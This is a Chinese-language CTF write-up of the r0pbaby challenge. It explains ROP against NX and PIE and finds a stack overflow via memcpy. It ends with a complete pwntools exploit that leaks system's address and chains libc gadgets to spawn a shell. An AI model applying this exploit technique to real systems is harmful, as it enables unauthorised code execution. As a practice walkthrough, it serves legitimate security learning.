ROP_r0pbaby

学习一波经典的ROP题目。

题目地址:r0pbaby

1.基本信息收集

文件信息

1.png

64位的程序

查看保护:

2.jpg

开启了NX(不可执行)+PIE(Position Independnet Code位置无关代码)等安全防护,对于这样的保护机制,绕过的方法是ROP(Return-oriented Programming),那ROP是什么?

2.漏洞定位及利用思路

ROP

ROP的核心思想:攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。

(往后做的时候遇到一个问题,看别的大佬的wp,有说要关闭ASLR的,把关不关ASLR分成了两种解法,我自己本地试的时候,发现我关了ASLR也没用,exp根本跑不起来,所以我就按有ASLR的解法来了。)

思路:

玩一玩这个程序:

3.png

第一选项打印libc地址

第二个选项打印system函数地址

第三个是向栈写数据

用ida看一下

4.png

5.png

发现危险函数memcpy(),说明存在栈溢出漏洞。

接下来用gdb调试一下:

6.png

7.png

8.png

看到程序在0x0000555555554eb3崩溃

9.png

此时rsp中的值是ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA,来计算一下偏移量:

10.png

所以,ret的地址是以我们输入的偏移量为8的位置来取的。我们这样就可以控制rip了。

现在来想一下我们该干什么。我们的希望获取一个shell,也就是说要控制程序执行流程,最好能跳转执行system函数。

所以我们需要构造一个payload让程序执行system(“/bin/sh”)

接下来我们要做的:

1
2
3
找到"/bin/sh"位置
找到"system函数地址"
寻找合适的gadget,让程序流连接起来

寻找gadget

我们要跳转执行的地方,要有两个pop和一个call。先来复习一下64位架构下各寄存器的作用:

1
2
3
4
5
%rax 作为函数返回值使用。
%rsp 栈指针寄存器,指向栈顶
%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数。。。
%rbx,%rbp,%r12,%r13,%14,%15 用作数据存储,遵循被调用者使用规则,简单说就是随便用,调用子函数之前要备份它,以防他被修改
%r10,%r11 用作数据存储,遵循调用者使用规则,简单说就是使用之前要先保存原值

rdi是传第一个参数的,那么我们要寻找的gadget至少有一个pop rdi,我们可以用ida在libc中来找:

我们使用的libc是:libc-2.27.so

11.png

12.png

找到了符合的。

寻找”/bin/sh”:

用ida :

用ida打开libc-2.27.so,shift + f12 ,ctrl + f 搜索”/bin/sh’

13.png

或:

14.png

区别在于ida找到的是程序未加载到内存时的地址,第二种方法找到的是在内存中的地址。如果开启了ASLR,还是用ida吧。

寻找system:

ida打开libc-2.27.so,搜索字符串”system”

15.png

构造payload:

“A”*8 + p64(ppc) + p64(sys_addr) + p64(binsh_addr)

关于这个顺序,我的理解是,因为我们找到的gadget的是先pop rax,再pop rdi,也就是说,当程序跳转到这一块时,先要执行pop rax,又因为rax用来传递函数地址,而且后面还要call rax,那接下来跟的就只能是system函数的地址,pop rdi,就把”/bin/sh”用rdi传过去。

好了,到这里我们粗略的完成了payload的构造,接下来要考虑的具体一点。

我们默认是开启了ASLR保护的,程序运行后,我们上面找到的地址就发生变化了,那么程序运行我们如何定位我们需要的地址呢?

我们知道在程序未加载到内存中时,system在libc中的地址,我们也知道ppc和binsh在libc中的地址,那么就通过计算它们相对于libc_system的偏移,加载到内存中后就可以表示成system运行后的地址+偏移了。而system函数运行后的地址可以通过程序第二个选项来获得。

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

sh = process('./r0pbaby')
def get_system_addr():
sh.recvuntil(': ')
sh.sendline('2')
sh.recv()
sh.sendline('system')
addr = sh.recvline().split('0x')[1].split('\n')[0]
return addr

def send_paylaod(sys_addr,binsh_off,ppc_off):
payload = 'A' * 8 + p64(sys_addr + ppc_off) + p64(sys_addr) + p64(sys_addr + binsh_off)
sh.recv()
sh.sendline('3')
sh.recv()
sh.sendline(str(len(payload)))
sh.sendline(payload)
return

def main():
sys_addr = int(get_system_addr(),16)
#print sys_addr
libc_sys_addr = 0x4F440
libc_binsh_addr = 0x1B3E9A
libc_ppc_addr = 0x12188B
binsh_off = libc_binsh_addr - libc_sys_addr
ppc_off = libc_ppc_addr - libc_sys_addr
send_paylaod(sys_addr,binsh_off,ppc_off)
sh.recv()
sh.interactive()

if __name__ == "__main__":
main()

16.png

0%
//这里改为从本地加载